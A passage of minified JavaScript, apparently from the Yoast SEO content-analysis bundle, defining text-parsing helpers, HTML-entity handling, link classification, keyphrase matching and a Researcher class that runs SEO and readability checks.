strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return{de:n.default,en:s.default,es:i.default,fr:a.default}[e]};var s=o(r(92518)),n=o(r(24081)),i=o(r(45072)),a=o(r(20712));function o(e){return e&&e.__esModule?e:{default:e}}},19772:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return{de:s.default,en:n.default,es:i.default,fr:a.default}[e]};var s=o(r(60645)),n=o(r(46882)),i=o(r(66676)),a=o(r(8920));function o(e){return e&&e.__esModule?e:{default:e}}},33888:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.htmlEntitiesRegex=t.htmlEntities=t.hashedHtmlEntitiesRegexStart=t.hashedHtmlEntitiesRegexEnd=t.hashedHtmlEntities=void 0;const r=t.htmlEntities=new Map([["amp;","&"],["lt;","<"],["gt;",">"],["quot;",'"'],["apos;","'"],["ndash;","–"],["mdash;","—"],["copy;","©"],["reg;","®"],["trade;","™"],["pound;","£"],["yen;","¥"],["euro;","€"],["dollar;","$"],["deg;","°"],["asymp;","≈"],["ne;","≠"],["nbsp;"," "]]),s=(t.htmlEntitiesRegex=new RegExp("&("+[...r.keys()].join("|")+")","ig"),t.hashedHtmlEntities=new Map);r.forEach(((e,t)=>s.set("#"+t,e))),t.hashedHtmlEntitiesRegexStart=new RegExp("^("+[...s.keys()].join("|")+")"),t.hashedHtmlEntitiesRegexEnd=new RegExp("("+[...s.keys()].join("|")+")$")},64495:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){for(let r=0;r<t.length;r++)if((0,s.includes)(e,t[r]))return!0;return!1};var s=r(92819)},49061:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"createAnchorOpeningTag",{enumerable:!0,get:function(){return o.createAnchorOpeningTag}}),Object.defineProperty(t,"formatNumber",{enumerable:!0,get:function(){return i.default}}),Object.defineProperty(t,"getLanguagesWithWordComplexity",{enumerable:!0,get:function(){return a.getLanguagesWithWordComplexity}}),Object.defineProperty(t,"getLanguagesWithWordFormSupport",{enumerable:!0,get:function(){return n.getLanguagesWithWordFormSupport}}),Object.defineProperty(t,"getWordComplexityConfig",{enumerable:!0,get:function(){return u.default}}),Object.defineProperty(t,"getWordComplexityHelper",{enumerable:!0,get:function(){return l.default}}),t.htmlEntities=void 0,Object.defineProperty(t,"measureTextWidth",{enumerable:!0,get:function(){return s.measureTextWidth}});var s=r(25003),n=r(73816),i=h(r(17179)),a=r(89175),o=r(33140),l=h(r(19772)),u=h(r(36832)),c=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=d(t);if(r&&r.has(e))return r.get(e);var s={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&{}.hasOwnProperty.call(e,i)){var a=n?Object.getOwnPropertyDescriptor(e,i):null;a&&(a.get||a.set)?Object.defineProperty(s,i,a):s[i]=e[i]}return s.default=e,r&&r.set(e,s),s}(r(33888));function d(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(d=function(e){return e?r:t})(e)}function h(e){return e&&e.__esModule?e:{default:e}}t.htmlEntities=c},23319:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class r{constructor(e={}){this.configure(e)}configure(e){this._config={params:{},...e}}static createQueryString(e){return Object.keys(e).map((t=>`${encodeURIComponent(t)}=${encodeURIComponent(e[t])}`)).join("&")}append(e,t={}){let s=encodeURI(e);const n=r.createQueryString({...this._config.params,...t});return""!==n&&(s+="?"+n),s}createAnchorOpeningTag(e,t={}){return`<a href='${this.append(e,t)}' target='_blank'>`}}t.default=r},33140:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var s=r(28774);Object.keys(s).forEach((function(e){"default"!==e&&"__esModule"!==e&&(e in t&&t[e]===s[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return s[e]}}))}))},28774:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.configureShortlinker=function(e){a().configure(e)},t.createAnchorOpeningTag=function(e,t={}){return a().createAnchorOpeningTag(e,t)},t.createShortlink=function(e,t={}){return a().append(e,t)};var s,n=(s=r(23319))&&s.__esModule?s:{default:s};let i;function a(){return null===i.yoast.shortlinker&&(i.yoast.shortlinker=new n.default),i.yoast.shortlinker}i="undefined"==typeof window?"undefined"==typeof self?r.g:self:window,i.yoast=i.yoast||{},i.yoast.shortlinker=i.yoast.shortlinker||null},67986:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819),n=H(r(62887)),i=H(r(85551)),a=H(r(40027)),o=H(r(99447)),l=H(r(86232)),u=H(r(14117)),c=H(r(69564)),d=H(r(3479)),h=H(r(63216)),f=H(r(82163)),p=G(r(78160)),g=H(r(901)),m=H(r(45095)),_=H(r(41564)),T=H(r(72619)),E=H(r(52364)),A=H(r(18807)),y=H(r(58743)),v=H(r(62987)),b=H(r(21706)),O=H(r(31051)),S=H(r(52948)),I=H(r(57419)),C=G(r(82242)),N=r(74066),D=H(r(72286)),w=H(r(90497)),P=H(r(96458)),R=H(r(31015)),k=H(r(7045)),L=H(r(48799)),M=H(r(25969)),x=H(r(99074)),F=H(r(44518)),U=H(r(47647));function B(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(B=function(e){return e?r:t})(e)}function G(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=B(t);if(r&&r.has(e))return r.get(e);var s={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&{}.hasOwnProperty.call(e,i)){var a=n?Object.getOwnPropertyDescriptor(e,i):null;a&&(a.get||a.set)?Object.defineProperty(s,i,a):s[i]=e[i]}return s.default=e,r&&r.set(e,s),s}function H(e){return e&&e.__esModule?e:{default:e}}t.default=class{constructor(e){this.paper=e,this.defaultResearches={altTagCount:a.default,countSentencesFromText:o.default,findKeywordInFirstParagraph:l.default,findKeyphraseInSEOTitle:u.default,findTransitionWords:c.default,functionWordsInKeyphrase:d.default,getAnchorsWithKeyphrase:h.default,getFleschReadingScore:f.default,getKeyphraseCount:C.default,getKeyphraseDensity:p.default,getKeywordDensity:p.getKeywordDensity,getLinks:g.default,getLinkStatistics:m.default,getParagraphs:_.default,getParagraphLength:T.default,getProminentWordsForInsights:A.default,getProminentWordsForInternalLinking:y.default,getSentenceBeginnings:v.default,getSubheadingTextLengths:b.default,h1s:O.default,imageCount:S.default,keyphraseLength:I.default,keywordCount:C.keywordCount,keywordCountInSlug:N.keywordCountInSlug,keywordCountInUrl:N.keywordCountInUrl,matchKeywordInSubheadings:D.default,metaDescriptionKeyword:w.default,metaDescriptionLength:P.default,morphology:R.default,pageTitleWidth:k.default,readingTime:L.default,sentences:M.default,wordCountInText:F.default,videoCount:x.default,getPassiveVoiceResult:E.default},this._data={},this.customResearches={},this.helpers={memoizedTokenizer:U.default},this.config={areHyphensWordBoundaries:!0}}setPaper(e){this.paper=e}addResearch(e,t){if((0,s.isUndefined)(e)||(0,s.isEmpty)(e))throw new i.default("Research name cannot be empty");if(!(t instanceof Function))throw new n.default("The research requires a Function callback.");this.customResearches[e]=t}addResearchData(e,t){this._data[e]=t}addHelper(e,t){if((0,s.isUndefined)(e)||(0,s.isEmpty)(e))throw new i.default("Helper name cannot be empty");if(!(t instanceof Function))throw new n.default("The research requires a Function callback.");this.helpers[e]=t}addConfig(e,t){if((0,s.isUndefined)(e)||(0,s.isEmpty)(e))throw new i.default("Failed to add the custom researcher config. Config name cannot be empty.");if((0,s.isUndefined)(t)||(0,s.isEmpty)(t)&&t===Object(t))throw new i.default("Failed to add the custom researcher config. Config cannot be empty.");this.config[e]=t}hasResearch(e){return Object.keys(this.getAvailableResearches()).filter((function(t){return t===e})).length>0}hasHelper(e){return Object.keys(this.getAvailableHelpers()).filter((function(t){return t===e})).length>0}hasConfig(e){return Object.keys(this.getAvailableConfig()).filter((function(t){return t===e})).length>0}hasResearchData(e){return Object.keys(this.getAvailableResearchData()).filter((function(t){return t===e})).length>0}getAvailableResearches(){return(0,s.merge)(this.defaultResearches,this.customResearches)}getAvailableHelpers(){return this.helpers}getAvailableConfig(){return this.config}getAvailableResearchData(){return this._data}getResearch(e){if((0,s.isUndefined)(e)||(0,s.isEmpty)(e))throw new i.default("Research name cannot be empty");return!!this.hasResearch(e)&&this.getAvailableResearches()[e](this.paper,this)}getData(e){return!!this.hasResearchData(e)&&this._data[e]}getConfig(e){return!!this.hasConfig(e)&&this.config[e]}getHelper(e){return!!this.hasHelper(e)&&this.helpers[e]}}},82676:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=(s=r(41054))&&s.__esModule?s:{default:s};t.default=function(e,t){if(0===t.length)return[];const r=((e,t)=>{const r=e.tokens,s=[];for(let e=r.length-1;e>=0;e--){const n=r[e];t.some((e=>e.sourceCodeRange.startOffset===n.sourceCodeRange.startOffset||e.sourceCodeRange.endOffset===n.sourceCodeRange.endOffset))?s.unshift("<yoastmark class='yoast-text-mark'>",n.text,"</yoastmark>"):s.unshift(n.text)}return s.join("").replace(new RegExp("</yoastmark>([  ]?)<yoastmark class='yoast-text-mark'>","ig"),"$1")})(e,t);return(e=>{const t=[];return e.sort((function(e,t){return e.getPositionStart()-t.getPositionStart()})),e.forEach((e=>{if(0===t.length)return void t.push(e);const r=t[t.length-1];r.getPositionEnd()+1===e.getPositionStart()||e.getPositionStart()<=r.getPositionEnd()?(r.setPositionEnd(e.getPositionEnd()),r.setBlockPositionEnd(e.getBlockPositionEnd())):t.push(e)})),t})(t.map((t=>{const s=t.sourceCodeRange.startOffset,i=t.sourceCodeRange.endOffset;return new n.default({position:{startOffset:s,endOffset:i,startOffsetBlock:s-(e.parentStartOffset||0),endOffsetBlock:i-(e.parentStartOffset||0),clientId:e.parentClientId||"",attributeId:e.parentAttributeId||"",isFirstSection:e.isParentFirstSectionOfBlock||!1},marked:r,original:e.text})})))}},29368:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getFieldsToMark=function(e,t){const r=(0,s.uniq)((0,s.flatten)(e.map((e=>{if(!(0,s.isUndefined)(e.getFieldsToMark()))return e.getFieldsToMark()})))),i=[];return r.forEach((e=>{"heading"===e&&(0,n.getSubheadings)(t).forEach((e=>{i.push(e[0])}))})),{fieldsToMark:r,selectedHTML:i}};var s=r(92819),n=r(84285)},89272:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){const t=[...e.matchAll(new RegExp("<h([1-6])(?:[^>]+)?>(.*?)<\\/h\\1>","ig"))],r=[];return t.forEach(((e,n)=>{const i=e[0],a=e.index,o=t[n+1];let l;l=(0,s.isUndefined)(o)?e.input.length:o.index;const u=e.input.slice(a+i.length,l);r.push({subheading:i,text:u,index:a})})),r};var s=r(92819)},84285:(e,t)=>{"use strict";function r(e){const t=[],r=/<h([1-6])(?:[^>]+)?>(.*?)<\/h\1>/gi;let s;for(;null!==(s=r.exec(e));)t.push(s);return t}function s(e){const t=[],r=/<h([2-3])(?:[^>]+)?>(.*?)<\/h\1>/gi;let s;for(;null!==(s=r.exec(e));)t.push(s);return t}function n(e){return r(e).map((e=>e[0]))}function i(e){return s(e).map((e=>e[0]))}function a(e){return e.replace(/<h([2-3])(?:[^>]+)?>(.*?)<\/h\1>/gi,"")}Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.getSubheadingContents=n,t.getSubheadingContentsTopLevel=i,t.getSubheadings=r,t.getSubheadingsTopLevel=s,t.removeSubheadingsTopLevel=a,t.default={getSubheadings:r,getSubheadingsTopLevel:s,getSubheadingContents:n,getSubheadingContentsTopLevel:i,removeSubheadingsTopLevel:a}},1831:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.inlineElements=t.getBlocks=t.default=t.blockElements=void 0,t.isBlockElement=y,t.isInlineElement=v;var s,n=r(92819),i=(s=r(14429))&&s.__esModule?s:{default:s};const a=t.blockElements=["address","article","aside","blockquote","canvas","dd","div","dl","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","header","hgroup","hr","li","main","nav","noscript","ol","output","p","pre","section","table","tfoot","ul","video"],o=t.inlineElements=["b","big","i","small","tt","abbr","acronym","cite","code","dfn","em","kbd","strong","samp","time","var","a","bdo","br","img","map","object","q","script","span","sub","sup","button","input","label","select","textarea"],l=new RegExp("^("+a.join("|")+")$","i"),u=new RegExp("^("+o.join("|")+")$","i"),c=new RegExp("^<("+a.join("|")+")[^>]*?>$","i"),d=new RegExp("^</("+a.join("|")+")[^>]*?>$","i"),h=new RegExp("^<("+o.join("|")+")[^>]*>$","i"),f=new RegExp("^</("+o.join("|")+")[^>]*>$","i"),p=/^<([^>\s/]+)[^>]*>$/,g=/^<\/([^>\s]+)[^>]*>$/,m=/^[^<]+$/,_=/^<[^><]*$/,T=/<!--(.|[\r\n])*?-->/g;let E,A=[];function y(e){return l.test(e)}function v(e){return u.test(e)}const b=t.getBlocks=(0,n.memoize)((function(e){const t=[];let r=0,s="",a="",o="";return e=e.replace(T,""),A=[],E=(0,i.default)((function(e){A.push(e)})),E.addRule(m,"content"),E.addRule(_,"greater-than-sign-content"),E.addRule(c,"block-start"),E.addRule(d,"block-end"),E.addRule(h,"inline-start"),E.addRule(f,"inline-end"),E.addRule(p,"other-element-start"),E.addRule(g,"other-element-end"),E.onText(e),E.end(),(0,n.forEach)(A,(function(e,n){const i=A[n+1];switch(e.type){case"content":case"greater-than-sign-content":case"inline-start":case"inline-end":case"other-tag":case"other-element-start":case"other-element-end":case"greater than sign":i&&(0!==r||"block-start"!==i.type&&"block-end"!==i.type)?a+=e.src:(a+=e.src,t.push(a),s="",a="",o="");break;case"block-start":0!==r&&(""!==a.trim()&&t.push(a),a="",o=""),r++,s=e.src;break;case"block-end":r--,o=e.src,""!==s&&""!==o?t.push(s+a+o):""!==a.trim()&&t.push(a),s="",a="",o=""}r<0&&(r=0)})),t}));t.default={blockElements:a,inlineElements:o,isBlockElement:y,isInlineElement:v,getBlocks:b}},96908:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return i=[],a=!1,o=[],c.write(e),c.parseComplete(),i.join("")};var s,n=(s=r(23719))&&s.__esModule?s:{default:s};let i=[],a=!1,o=[];const l=["script","style","code","pre","blockquote","textarea"],u=["yoast-table-of-contents","yoast-reading-time__wrapper","elementor-button-wrapper","elementor-divider","elementor-spacer","elementor-custom-embed","elementor-icon-wrapper","elementor-icon-box-wrapper","elementor-counter","elementor-progress-wrapper","elementor-alert","elementor-soundcloud-wrapper","elementor-shortcode","elementor-menu-anchor","elementor-title"],c=new n.default.Parser({onopentag:function(e,t){if(a)return void o.push(e);const r=t.class?t.class.split(" "):[];if(l.includes(e)||r.some((e=>u.includes(e))))return a=!0,void o.push(e);const s=Object.keys(t);let n="";s.forEach((function(e){n+=" "+e+"='"+t[e]+"'"})),i.push("<"+e+n+">")},ontext:function(e){a||i.push(e)},onclosetag:function(e){if(1===o.length&&o[0]===e)return a=!1,void(o=[]);a?o.pop():i.push("</"+e+">")}},{decodeEntities:!0})},62932:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){let t=i(e);if(t.length>0)return t;let r=(0,n.getBlocks)(e);return r=(0,s.filter)(r,(function(e){return 0!==e.indexOf("<h")})),t=(0,s.flatMap)(r,(function(e){return e.split("\n\n")})),t.length>0?t:[e]};var s=r(92819),n=r(1831);const i=function(e){let t=[];const r=/<p(?:[^>]+)?>(.*?)<\/p>/gi;let n;for(;null!==(n=r.exec(e));)t.push(n);return t=(0,s.map)(t,(function(e){return e[1]})),t.filter((e=>e.length>0))}},88567:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return(new DOMParser).parseFromString(e,"text/html").body.innerHTML.replace(/&nbsp;/g," ")}},15770:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){let t="";return"img"===e.name&&(t=(0,n.default)(e.attributes.alt||""),t=t.replace(/&quot;/g,'"'),t=t.replace(/&#039;/g,"'")),t};var s,n=(s=r(47793))&&s.__esModule?s:{default:s}},92017:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){const t=e.getTree();return t?t.findAll((e=>"img"===e.name)):[]}},61440:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return(0,n.default)(e,i)},t.imageRegex=void 0;var s,n=(s=r(13617))&&s.__esModule?s:{default:s};const i=t.imageRegex=new RegExp("<img(?:[^>]+)?>(</img>)*","ig")},29866:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"createShortcodeTagsRegex",{enumerable:!0,get:function(){return n.createShortcodeTagsRegex}}),Object.defineProperty(t,"filterShortcodesFromHTML",{enumerable:!0,get:function(){return n.filterShortcodesFromHTML}}),Object.defineProperty(t,"normalize",{enumerable:!0,get:function(){return s.normalize}}),Object.defineProperty(t,"processExactMatchRequest",{enumerable:!0,get:function(){return i.default}}),Object.defineProperty(t,"removeHtmlBlocks",{enumerable:!0,get:function(){return a.default}});var s=r(37361),n=r(24533),i=o(r(83927)),a=o(r(96908));function o(e){return e&&e.__esModule?e:{default:e}}},67404:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return e.split("_")[0]}},88782:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){let t="Dofollow";const r=new n.default.Parser({onopentag:function(e,r){"a"===e&&r.rel&&r.rel.toLowerCase().split(/\s/).includes("nofollow")&&(t="Nofollow")}});return r.write(e),r.end(),t};var s,n=(s=r(23719))&&s.__esModule?s:{default:s}},30341:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){let t;return t=e.match(/<a[\s]+(?:[^>]+)>((?:.|[\n\r\u2028\u2029])*?)<\/a>/gi),null===t&&(t=[]),t}},25930:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=n.default.getFromAnchorTag(e),s=n.default.getProtocol(r);return s&&!n.default.protocolIsHttpScheme(s)||n.default.isRelativeFragmentURL(r)?"other":n.default.isInternalLink(r,t)?"internal":"external"};var s,n=(s=r(20917))&&s.__esModule?s:{default:s}},36478:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.findWordFormsInString=t.findTopicFormsInString=void 0;var s,n=r(92819),i=(s=r(7407))&&s.__esModule?s:{default:s};const a=function(e,t,r,s){const a=e.length,o=Array(a);let l=[],u=[];for(let n=0;n<a;n++){const a=(0,i.default)(t,e[n],r,s);o[n]=a.count>0?1:0,l.push(a.position),u=u.concat(a.matches)}const c=(0,n.sum)(o),d={countWordMatches:c,percentWordMatches:0,matches:u};return a>0&&(d.percentWordMatches=Math.round(c/a*100)),l=l.filter((e=>e>=0)),d.position=0===l.length?-1:Math.min(...l),d};t.findWordFormsInString=a,t.findTopicFormsInString=function(e,t,r,s,i){let o=a(e.keyphraseForms,t,s,i);if(o.keyphraseOrSynonym="keyphrase",100===o.percentWordMatches||!1===r||(0,n.isEmpty)(e.synonymsForms))return o;const l=[];for(let r=0;r<e.synonymsForms.length;r++){const n=e.synonymsForms[r];l[r]=a(n,t,s,i)}const u=l.map((e=>e.percentWordMatches)),c=u.indexOf(Math.max(...u));return o.percentWordMatches>=l[c].percentWordMatches||(o=l[c],o.keyphraseOrSynonym="synonym"),o}},23116:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=(s=r(21389))&&s.__esModule?s:{default:s},i=r(92819);t.default=e=>(0,i.includes)(n.default,e[0])&&(0,i.includes)(n.default,e[e.length-1])},7407:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,r="en_EN",s){let a=0,o=[],l=[];return(0,i.uniq)(t).forEach((function(t){const i=(0,n.default)(e,t,r,s);a+=i.count,o=o.concat(i.matches),l.push(i.position)})),l=l.filter((e=>e>=0)),{count:a,matches:o,position:0===l.length?-1:Math.min(...l)}};var s,n=(s=r(75118))&&s.__esModule?s:{default:s},i=r(92819)},95785:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,r){const c=(0,u.getLanguage)(r);let h=d(t,c);if("tr"===c){const e=(0,l.replaceTurkishIsMemoized)(t);h=new RegExp(e.map((e=>(0,n.default)(e))).join("|"),"ig")}const f=e.match(h)||[];e=e.replace(h,"");const p=(0,a.default)(t,r),g=d(p,c),m=e.match(g)||[];let _=f.concat(m);const T=(0,o.default)(t,r);if(T!==p){const t=d(T,c),r=e.match(t)||[];_=_.concat(r)}return(0,s.map)(_,(function(e){return(0,i.default)(e)}))};var s=r(92819),n=c(r(28875)),i=c(r(47793)),a=c(r(36064)),o=c(r(78087)),l=r(81011),u=r(58677);function c(e){return e&&e.__esModule?e:{default:e}}const d=function(e,t){return e=(0,n.default)(e,!1,"",t),new RegExp(e,"ig")}},75118:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,r,c){e=(0,s.default)(e),e=(0,a.unifyAllSpaces)(e),e=(0,l.normalize)(e),t=(0,l.normalize)(t);let d=c?c(e,t):(0,o.default)(e,t,r);d=(0,u.map)(d,(function(e){return(0,n.default)((0,i.default)(e))}));const h=(0,u.map)(d,(function(t){return e.indexOf(t)}));return{count:d.length,matches:d,position:0===h.length?-1:Math.min(...h)}};var s=c(r(57719)),n=c(r(47793)),i=c(r(8737)),a=r(81831),o=c(r(95785)),l=r(37361),u=r(92819);function c(e){return e&&e.__esModule?e:{default:e}}},57329:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.tokenizeKeyphraseFormsForExactMatching=t.default=void 0;var s=i(r(95785)),n=i(r(7337));function i(e){return e&&e.__esModule?e:{default:e}}const a=(e,t)=>{const r=e[0];return t?t(r):(0,n.default)(r)};t.tokenizeKeyphraseFormsForExactMatching=a;t.default=(e,t,r,n,i=!1,o)=>i&&!n?((e,t,r,n)=>{const i={count:0,matches:[]},o=a(t,n),l=e.tokens;let u=0,c=0,d=[];for(;c<l.length;){const e=l[c].text,t=o[u];(0,s.default)(e.toLowerCase(),t.toLowerCase(),r).length>0?(d.push(l[c]),u++):(u=0,d=[]),d.length===o.length&&(i.matches.push(...d),i.count++,u=0,d=[]),c++}return i})(e,t,r,o):((e,t,r,n)=>{const i={count:0,matches:[]};return t.forEach((t=>{let a=[];a=n?n(e,t):((e,t,r)=>{let n=[];return e.forEach((e=>{(0,s.default)(e.text,t,r).length>0&&(n=n.concat(e))})),n})(e.tokens.slice(),t,r),i.count+=a.length,i.matches=i.matches.concat(a)})),i})(e,t,r,n)},83927:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){const t={exactMatchRequested:!1,keyphrase:e};return(0,n.default)(e)&&(t.keyphrase=e.substring(1,e.length-1),t.exactMatchRequested=!0),t};var s,n=(s=r(23116))&&s.__esModule?s:{default:s}},42992:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return e}},19605:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){if(t.includes(null))return e;for(let r=0;r<t.length;r++)if(!0===t[r].reg.test(e))return e.replace(t[r].reg,t[r].repl)}},17811:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.StemOriginalPair=c,t.buildStems=t.TopicPhrase=void 0,t.collectStems=function(e,t,r,s,n){return h(r,s,n)(e,t)},t.primeLanguageSpecificData=void 0;var s=l(r(1105)),n=r(37361),i=r(10152),a=r(92819),o=l(r(23116));function l(e){return e&&e.__esModule?e:{default:e}}class u{constructor(e=[],t=!1){this.stemOriginalPairs=e,this.exactMatch=t}getStems(){return this.exactMatch?[]:this.stemOriginalPairs.map((e=>e.stem))}}function c(e,t){this.stem=e,this.original=t}t.TopicPhrase=u;const d=function(e,t,r,l){if((0,a.isUndefined)(e)||""===e)return new u;if((0,o.default)(e))return e=e.substring(1,e.length-1),new u([new c((0,a.escapeRegExp)(e),e)],!0);let d=l?(0,s.default)(e,i.WORD_BOUNDARY_WITH_HYPHEN):(0,s.default)(e,i.WORD_BOUNDARY_WITHOUT_HYPHEN);const h=d.filter((e=>!r.includes(e)));h.length>0&&(d=h);const f=d.map((e=>new c(t((0,n.normalizeSingle)((0,a.escapeRegExp)(e))),e)));return new u(f)};t.buildStems=d;const h=t.primeLanguageSpecificData=(0,a.memoize)(((e,t,r)=>(0,a.memoize)(((s,n)=>function(e,t,r,s,n){return{keyphraseStems:d(e,r,s,n),synonymsStems:t.map((e=>d(e,r,s,n)))}}(s,n,e,t,r)),((e,t)=>e+","+t.join(",")))))},53371:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.createSingleRuleFromArray=t.createRulesFromArrays=void 0;const r=function(e,t="i"){return 2===e.length?{reg:new RegExp(e[0],t),repl:e[1]}:3===e.length?{reg:new RegExp(e[0],t),repl1:e[1],repl2:e[2]}:null};t.createSingleRuleFromArray=r;const s=function(e,t="i"){return e.map((e=>r(e,t)))};t.createRulesFromArrays=s,t.default=s},74252:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.checkExceptionListWithTwoStems=function(e,t){for(const r of e){const e=r.find((e=>t.endsWith(e)));if(e)return t.slice(0,t.length-e.length)+r[0]}},t.checkIfWordEndingIsOnExceptionList=function(e,t){for(let r=0;r<t.length;r++)if(e.endsWith(t[r]))return!0;return!1},t.checkIfWordIsOnListThatCanHavePrefix=function(e,t,r){const s=(0,n.default)(r).find((t=>e.startsWith(t)));let i="";return"string"==typeof s&&(i=e.slice(s.length),i.length>2&&(e=i)),t.includes(e)};var s,n=(s=r(44949))&&s.__esModule?s:{default:s}},30259:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=[];for(const s in t)e.endsWith(t[s])&&r.push(t[s]);const s=r.sort((function(e,t){return t.length-e.length}))[0];return s||""}},44949:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return(0,s.flatten)(Object.values(e)).sort(((e,t)=>t.length-e.length||e.localeCompare(t)))};var s=r(92819)},90831:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=e.getText(),c=(0,l.default)(e).map((e=>(0,n.default)(e))),d=[r,e.getTitle(),e.getSlug(),(0,a.default)(e.getSlug()),e.getDescription(),c.join(" ")].join(" ");return(t?(0,o.default)(d,u.WORD_BOUNDARY_WITH_HYPHEN):(0,o.default)(d,u.WORD_BOUNDARY_WITHOUT_HYPHEN)).map((e=>(0,i.normalizeSingle)((0,s.escapeRegExp)(e))))};var s=r(92819),n=c(r(15770)),i=r(37361),a=c(r(84159)),o=c(r(1105)),l=c(r(92017)),u=r(10152);function c(e){return e&&e.__esModule?e:{default:e}}},64396:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.applyAllReplacements=function(e,t){return t.forEach((function(t){e=e.replace(new RegExp(t[0]),t[1])})),e},t.doesWordMatchRegex=function(e,t){return RegExp(t).test(e)},t.searchAndReplaceWithRegex=function(e,t){for(const r of t)if(-1!==e.search(new RegExp(r[0])))return e.replace(new RegExp(r[0]),r[1])}},74694:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.removeSuffixFromFullForm=function(e,t,r){for(let s=0;s<e.length;s++)if(r.endsWith(e[s]))return r.slice(0,-t.length)},t.removeSuffixesFromFullForm=function(e,t,r){for(let s=0;s<e.length;s++)if(r.startsWith(e[s])){const n=r.substring(e[s].length);for(let e=0;e<t.length;e++)if(t[e]===n)return r.slice(0,-n.length)}}},66382:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.stemPrefixedFunctionWords=function(e,t){let r=e,s="";const n=e.match(t);return n&&(s=n[0],r=e.slice(s.length)),{stem:r,prefix:s}}},23107:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,r=[]){const s=(0,i.default)(e).map((e=>e.toLowerCase())),a=s.indexOf(t.toLowerCase());if(a<1)return!1;const o=s[a-1];return(0,n.includes)(r,o)};var s,n=r(92819),i=(s=r(1105))&&s.__esModule?s:{default:s}},80053:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=r(92819),i=(s=r(47793))&&s.__esModule?s:{default:s};t.default=function(e,t){const r=t.regexes.auxiliaryRegex;if(null===e.match(r))return[];let s;const a=e.match(t.regexes.stopwordRegex)||[];return s=function(e,t){const r=[];return(0,n.forEach)(t,(function(t){const s=e.split(t);(0,n.isEmpty)(s[0])||r.push(s[0]);const a=e.indexOf(t),o=e.length;e=(0,i.default)(e.substring(a,o))})),r.push(e),r}(e,a),void 0!==t.regexes.stopCharacterRegex&&1===s.length&&(s=function(e,t){const r=e.split(t);for(let e=0;e<r.length;e++)" "===r[e][0]&&(r[e]=r[e].substring(1,r[e].length));return r}(e,t.regexes.stopCharacterRegex)),function(e,t){const 